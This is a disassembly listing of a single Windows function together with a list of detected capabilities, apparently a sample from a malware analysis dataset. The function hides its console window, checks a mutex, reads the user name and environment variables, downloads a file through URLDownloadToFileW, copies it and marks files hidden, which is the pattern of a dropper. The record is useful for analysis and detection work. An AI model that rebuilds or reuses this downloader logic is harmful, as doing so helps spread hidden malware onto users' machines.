Function at 0x401e30
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Download url
Get session user name
Hide graphical window
Query environment variable
Receive data
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40991d
mov eax, dword fs:[0]
push eax
mov eax, 0x2508
call fcn.00409740
mov eax, dword [0x40e040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov byte [ebp - 0x1d65], al
lea ecx, [ebp - 0x1d4c]
push ecx
lea ecx, [ebp - 0x1d65]
call fcn.00402ab0
nop
lea ecx, [ebp - 0x1d4c]
call fcn.004038e0
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
nop
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401ea8
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call fcn.00401db0
test eax, eax
jne 0x401f18
xor edx, edx
mov byte [ebp - 0x1d66], dl
xor eax, eax
mov byte [ebp - 0x1d67], al
push 0
lea ecx, [ebp - 0x1fd4]
push ecx
lea ecx, [ebp - 0x1d66]
call fcn.00402bd0
mov ecx, eax
call fcn.004038a0
push eax
lea edx, [ebp - 0x1fa8]
push edx
lea ecx, [ebp - 0x1d67]
call fcn.00402b30
mov ecx, eax
call fcn.004038c0
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
nop
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
push 5
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
xor eax, eax
mov byte [ebp - 0x1d68], al
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x1dec], esp
lea ecx, [ebp - 0x1fec]
push ecx
lea ecx, [ebp - 0x1d68]
call fcn.00402c70
mov ecx, eax
call fcn.00403880
push eax
mov ecx, esi
call fcn.00404aa0
call fcn.00401d40
add esp, 0x18
xor edx, edx
mov byte [ebp - 0x1d4d], dl
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x1df0], esp
lea eax, [ebp - 0x2034]
push eax
lea ecx, [ebp - 0x1d4d]
call fcn.00402d10
mov ecx, eax
call fcn.00403860
push eax
mov ecx, esi
call fcn.00404aa0
call fcn.00401d40
add esp, 0x18
xor ecx, ecx
mov byte [ebp - 0x1d4e], cl
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x1df4], esp
lea edx, [ebp - 0x22f0]
push edx
lea ecx, [ebp - 0x1d4e]
call fcn.00402d90
mov ecx, eax
call fcn.00403810
push eax
mov ecx, esi
call fcn.00404aa0
call fcn.00401d40
add esp, 0x18
xor eax, eax
mov byte [ebp - 0x1d4f], al
push 0x1000
lea ecx, [ebp - 0x141c]
push ecx
lea edx, [ebp - 0x1e30]
push edx
lea ecx, [ebp - 0x1d4f]
call fcn.00402e10
mov ecx, eax
call fcn.004037f0
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
nop
lea eax, [ebp - 0x141c]
push eax
lea ecx, [ebp - 0x1d28]
call fcn.00404aa0
mov dword [ebp - 4], 0
push 0x1000
push 0
lea ecx, [ebp - 0x141c]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor edx, edx
mov byte [ebp - 0x1d50], dl
push 0x1000
lea eax, [ebp - 0x141c]
push eax
lea ecx, [ebp - 0x1df8]
push ecx
lea ecx, [ebp - 0x1d50]
call fcn.00402e90
mov ecx, eax
call fcn.004037d0
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
nop
lea edx, [ebp - 0x141c]
push edx
lea ecx, [ebp - 0x1cc8]
call fcn.00404aa0
mov byte [ebp - 4], 1
push 0x1000
push 0
lea eax, [ebp - 0x141c]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x1c20], 0x101
lea ecx, [ebp - 0x1c20]
push ecx
lea edx, [ebp - 0x214]
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x1cb0]
call fcn.004047f0
mov byte [ebp - 4], 2
push 0x104
lea ecx, [ebp - 0x41c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [ebp - 0x41c]
push edx
lea ecx, [ebp - 0x1c38]
call fcn.004047f0
mov byte [ebp - 4], 3
xor eax, eax
mov byte [ebp - 0x1d51], al
lea ecx, [ebp - 0x1d72]
call fcn.00404870
push eax
lea ecx, [ebp - 0x1dfc]
push ecx
lea ecx, [ebp - 0x1c38]
call fcn.00404750
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x1e00]
push eax
lea ecx, [ebp - 0x1c38]
call fcn.00404790
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x1e74]
call fcn.00406730
mov dword [ebp - 0x1dac], eax
mov edx, dword [ebp - 0x1dac]
mov dword [ebp - 0x1da8], edx
mov byte [ebp - 4], 4
push 0xffffffffffffffff
lea eax, [ebp - 0x1db4]
push eax
lea ecx, [ebp - 0x1d51]
call fcn.00402f00
mov ecx, eax
call fcn.004037b0
push eax
mov ecx, dword [ebp - 0x1da8]
call fcn.004048c0
mov dword [ebp - 0x1dbc], eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1e74]
call fcn.00404a30
nop
lea ecx, [ebp - 0x1d71]
call fcn.00404870
push eax
lea ecx, [ebp - 0x1e04]
push ecx
lea ecx, [ebp - 0x1c38]
call fcn.00404750
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x1e08]
push eax
lea ecx, [ebp - 0x1c38]
call fcn.00404790
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x1e8c]
call fcn.00406730
mov dword [ebp - 0x1d94], eax
mov edx, dword [ebp - 0x1d94]
mov dword [ebp - 0x1dd4], edx
mov byte [ebp - 4], 5
push 0xffffffffffffffff
mov eax, dword [ebp - 0x1dbc]
add eax, 1
push eax
lea ecx, [ebp - 0x1cf8]
push ecx
mov ecx, dword [ebp - 0x1dd4]
call fcn.00404880
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x1e8c]
call fcn.00404a30
nop
xor edx, edx
mov byte [ebp - 0x1d64], dl
xor eax, eax
mov byte [ebp - 0x1d52], al
lea ecx, [ebp - 0x1d70]
call fcn.00404870
push eax
lea ecx, [ebp - 0x1e0c]
push ecx
lea ecx, [ebp - 0x1cb0]
call fcn.00404750
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x1e10]
push eax
lea ecx, [ebp - 0x1cb0]
call fcn.00404790
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x1f94]
call fcn.00406730
mov dword [ebp - 0x1dd8], eax
mov edx, dword [ebp - 0x1dd8]
mov dword [ebp - 0x1ddc], edx
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x1ddc]
push eax
lea ecx, [ebp - 0x1e5c]
push ecx
lea ecx, [ebp - 0x1d52]
call fcn.00402f70
mov ecx, eax
call fcn.00403780
push eax
lea edx, [ebp - 0x1ea4]
push edx
call fcn.00406560
add esp, 0xc
mov dword [ebp - 0x1de0], eax
mov eax, dword [ebp - 0x1de0]
mov dword [ebp - 0x1db0], eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x2094]
push ecx
lea ecx, [ebp - 0x1d64]
call fcn.00403000
mov ecx, eax
call fcn.00403750
push eax
mov edx, dword [ebp - 0x1db0]
push edx
lea eax, [ebp - 0x1c80]
push eax
call fcn.00406630
add esp, 0xc
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1ea4]
call fcn.00404a30
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1f94]
call fcn.00404a30
nop
lea ecx, [ebp - 0x1d10]
call fcn.00404b20
mov byte [ebp - 4], 0xd
call fcn.00401db0
test eax, eax
je 0x402504
xor ecx, ecx
mov byte [ebp - 0x1d53], cl
push 0
push 1
lea edx, [ebp - 0x2010]
push edx
lea ecx, [ebp - 0x1d53]
call fcn.00403030
mov ecx, eax
call fcn.004038e0
push eax
call fcn.00401a90
add esp, 0xc
xor eax, eax
mov byte [ebp - 0x1d54], al
push 0
push 1
lea ecx, [ebp - 0x2368]
push ecx
lea ecx, [ebp - 0x1d54]
call fcn.00403060
mov ecx, eax
call fcn.00403830
push eax
call fcn.00401a90
add esp, 0xc
xor edx, edx
mov byte [ebp - 0x1d55], dl
push 0
push 1
lea eax, [ebp - 0x23e8]
push eax
lea ecx, [ebp - 0x1d55]
call fcn.004030e0
mov ecx, eax
call fcn.00403720
push eax
call fcn.00401a90
add esp, 0xc
xor ecx, ecx
mov byte [ebp - 0x1d56], cl
push 0
push 1
lea edx, [ebp - 0x214c]
push edx
lea ecx, [ebp - 0x1d56]
call fcn.00403160
mov ecx, eax
call fcn.004036f0
push eax
call fcn.00401a90
add esp, 0xc
xor eax, eax
mov byte [ebp - 0x1d57], al
push 0
push 1
lea ecx, [ebp - 0x2514]
push ecx
lea ecx, [ebp - 0x1d57]
call fcn.004031e0
mov ecx, eax
call fcn.004036c0
push eax
call fcn.00401a90
add esp, 0xc
xor edx, edx
mov byte [ebp - 0x1d58], dl
push 0
push 1
lea eax, [ebp - 0x205c]
push eax
lea ecx, [ebp - 0x1d58]
call fcn.00403260
mov ecx, eax
call fcn.00403690
push eax
call fcn.00401a90
add esp, 0xc
xor ecx, ecx
mov byte [ebp - 0x1d59], cl
push 0
push 1
lea edx, [ebp - 0x2204]
push edx
lea ecx, [ebp - 0x1d59]
call fcn.004032e0
mov ecx, eax
call fcn.00403660
push eax
call fcn.00401a90
add esp, 0xc
xor eax, eax
mov byte [ebp - 0x1d5a], al
push 0
push 1
lea ecx, [ebp - 0x2190]
push ecx
lea ecx, [ebp - 0x1d5a]
call fcn.00403310
mov ecx, eax
call fcn.004036f0
push eax
call fcn.00401a90
add esp, 0xc
xor edx, edx
mov byte [ebp - 0x1d5b], dl
push 0
push 1
lea eax, [ebp - 0x20cc]
push eax
lea ecx, [ebp - 0x1d5b]
call fcn.00403340
mov ecx, eax
call fcn.00403750
push eax
call fcn.00401a90
add esp, 0xc
xor ecx, ecx
mov byte [ebp - 0x1d5c], cl
push 0
push 1
lea edx, [ebp - 0x2470]
push edx
lea ecx, [ebp - 0x1d5c]
call fcn.004033c0
mov ecx, eax
call fcn.00403610
push eax
call fcn.00401a90
add esp, 0xc
xor eax, eax
mov byte [ebp - 0x1d5d], al
xor ecx, ecx
mov byte [ebp - 0x1d5e], cl
lea edx, [ebp - 0x1e38]
push edx
lea ecx, [ebp - 0x1d5d]
call fcn.00403470
mov ecx, eax
call fcn.004037f0
push eax
lea ecx, [ebp - 0x1f1c]
call fcn.00404aa0
mov dword [ebp - 0x1db8], eax
mov eax, dword [ebp - 0x1db8]
mov dword [ebp - 0x1d80], eax
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1e48]
push ecx
lea ecx, [ebp - 0x1d5e]
call fcn.00403440
mov ecx, eax
call fcn.004035f0
push eax
lea ecx, [ebp - 0x1f04]
call fcn.00404aa0
mov dword [ebp - 0x1dc0], eax
mov edx, dword [ebp - 0x1dc0]
mov dword [ebp - 0x1dd0], edx
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1d6f]
call fcn.00404870
push eax
lea eax, [ebp - 0x1e14]
push eax
lea ecx, [ebp - 0x1c80]
call fcn.00404960
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0x1e18]
push edx
lea ecx, [ebp - 0x1c80]
call fcn.004049a0
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x1eec]
call fcn.00406810
mov dword [ebp - 0x1dc4], eax
mov ecx, dword [ebp - 0x1dc4]
mov dword [ebp - 0x1dc8], ecx
mov byte [ebp - 4], 0x10
push 0x40a348
mov edx, dword [ebp - 0x1dc8]
push edx
lea eax, [ebp - 0x1ed4]
push eax
call fcn.00406630
add esp, 0xc
mov dword [ebp - 0x1dcc], eax
mov ecx, dword [ebp - 0x1dcc]
mov dword [ebp - 0x1d78], ecx
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x1dd0]
push edx
mov eax, dword [ebp - 0x1d78]
push eax
lea ecx, [ebp - 0x1ebc]
push ecx
call fcn.00406660
add esp, 0xc
mov dword [ebp - 0x1d7c], eax
mov edx, dword [ebp - 0x1d7c]
mov dword [ebp - 0x1d84], edx
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0x1d80]
push eax
mov ecx, dword [ebp - 0x1d84]
push ecx
lea edx, [ebp - 0x1c68]
push edx
call fcn.00406660
add esp, 0xc
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x1ebc]
call fcn.00404a30
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x1ed4]
call fcn.00404a30
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x1eec]
call fcn.00404a30
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x1f04]
call fcn.00404a30
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x1f1c]
call fcn.00404a30
nop
lea ecx, [ebp - 0x1d6e]
call fcn.00404870
push eax
lea eax, [ebp - 0x1e1c]
push eax
lea ecx, [ebp - 0x1c68]
call fcn.00404960
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0x1e20]
push edx
lea ecx, [ebp - 0x1c68]
call fcn.004049a0
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x1ce0]
call fcn.004068d0
mov byte [ebp - 4], 0x19
xor ecx, ecx
mov byte [ebp - 0x1d5f], cl
xor edx, edx
mov byte [ebp - 0x1d60], dl
lea eax, [ebp - 0x1e40]
push eax
lea ecx, [ebp - 0x1d5f]
call fcn.00403470
mov ecx, eax
call fcn.004037f0
push eax
lea ecx, [ebp - 0x1f7c]
call fcn.00404aa0
mov dword [ebp - 0x1d88], eax
mov ecx, dword [ebp - 0x1d88]
mov dword [ebp - 0x1da0], ecx
mov byte [ebp - 4], 0x1a
lea edx, [ebp - 0x1e50]
push edx
lea ecx, [ebp - 0x1d60]
call fcn.004034a0
mov ecx, eax
call fcn.004035f0
push eax
lea ecx, [ebp - 0x1f64]
call fcn.00404aa0
mov dword [ebp - 0x1d8c], eax
mov eax, dword [ebp - 0x1d8c]
mov dword [ebp - 0x1de4], eax
mov byte [ebp - 4], 0x1b
push 0x40a34c
lea ecx, [ebp - 0x1cc8]
push ecx
lea edx, [ebp - 0x1f4c]
push edx
call fcn.004065a0
add esp, 0xc
mov dword [ebp - 0x1d90], eax
mov eax, dword [ebp - 0x1d90]
mov dword [ebp - 0x1d98], eax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x1de4]
push ecx
mov edx, dword [ebp - 0x1d98]
push edx
lea eax, [ebp - 0x1f34]
push eax
call fcn.00406660
add esp, 0xc
mov dword [ebp - 0x1d9c], eax
mov ecx, dword [ebp - 0x1d9c]
mov dword [ebp - 0x1da4], ecx
mov byte [ebp - 4], 0x1d
mov edx, dword [ebp - 0x1da0]
push edx
mov eax, dword [ebp - 0x1da4]
push eax
lea ecx, [ebp - 0x1c50]
push ecx
call fcn.00406660
add esp, 0xc
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x1f34]
call fcn.00404a30
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x1f4c]
call fcn.00404a30
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x1f64]
call fcn.00404a30
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x1f7c]
call fcn.00404a30
nop
lea ecx, [ebp - 0x1d6d]
call fcn.00404870
push eax
lea edx, [ebp - 0x1e24]
push edx
lea ecx, [ebp - 0x1c50]
call fcn.00404960
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x1e28]
push ecx
lea ecx, [ebp - 0x1c50]
call fcn.004049a0
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0x1c98]
call fcn.004068d0
mov byte [ebp - 4], 0x23
xor eax, eax
mov byte [ebp - 0x1d61], al
push 0
push 0
lea ecx, [ebp - 0x1c98]
call fcn.00404730
push eax
lea ecx, [ebp - 0x2108]
push ecx
lea ecx, [ebp - 0x1d61]
call fcn.00403520
mov ecx, eax
call fcn.004035d0
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [ebp - 0x1d6c], eax
cmp dword [ebp - 0x1d6c], 0
jge 0x4028f2
push 0
push 0x400
lea edx, [ebp - 0x1c1c]
push edx
push 0x400
mov eax, dword [ebp - 0x1d6c]
push eax
push 0
push 0x1200
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
mov dword [ebp - 0x1de8], eax
cmp dword [ebp - 0x1d6c], 0
jne 0x402946
push 0
lea ecx, [ebp - 0x1ce0]
call fcn.00404730
push eax
lea ecx, [ebp - 0x1c98]
call fcn.00404730
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 2
lea ecx, [ebp - 0x1c68]
call fcn.00404940
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 2
lea ecx, [ebp - 0x1c50]
call fcn.00404940
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
nop
jmp 0x402995
xor ecx, ecx
mov byte [ebp - 0x1d62], cl
xor edx, edx
mov byte [ebp - 0x1d63], dl
push 0
lea eax, [ebp - 0x1fbc]
push eax
lea ecx, [ebp - 0x1d62]
call fcn.00403580
mov ecx, eax
call fcn.004038c0
push eax
lea ecx, [ebp - 0x2278]
push ecx
lea ecx, [ebp - 0x1d63]
call fcn.00403550
mov ecx, eax
call fcn.00403640
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
nop
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x1c98]
call fcn.004047d0
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x1c50]
call fcn.00404a30
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x1ce0]
call fcn.004047d0
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x1c68]
call fcn.00404a30
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1d10]
call fcn.00404a30
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x1c80]
call fcn.00404a30
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1cf8]
call fcn.00404a30
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1c38]
call fcn.004047d0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1cb0]
call fcn.004047d0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1cc8]
call fcn.00404a30
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1d28]
call fcn.00404a30
nop
jmp 0x402a42
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00408891
mov esp, ebp
pop ebp
ret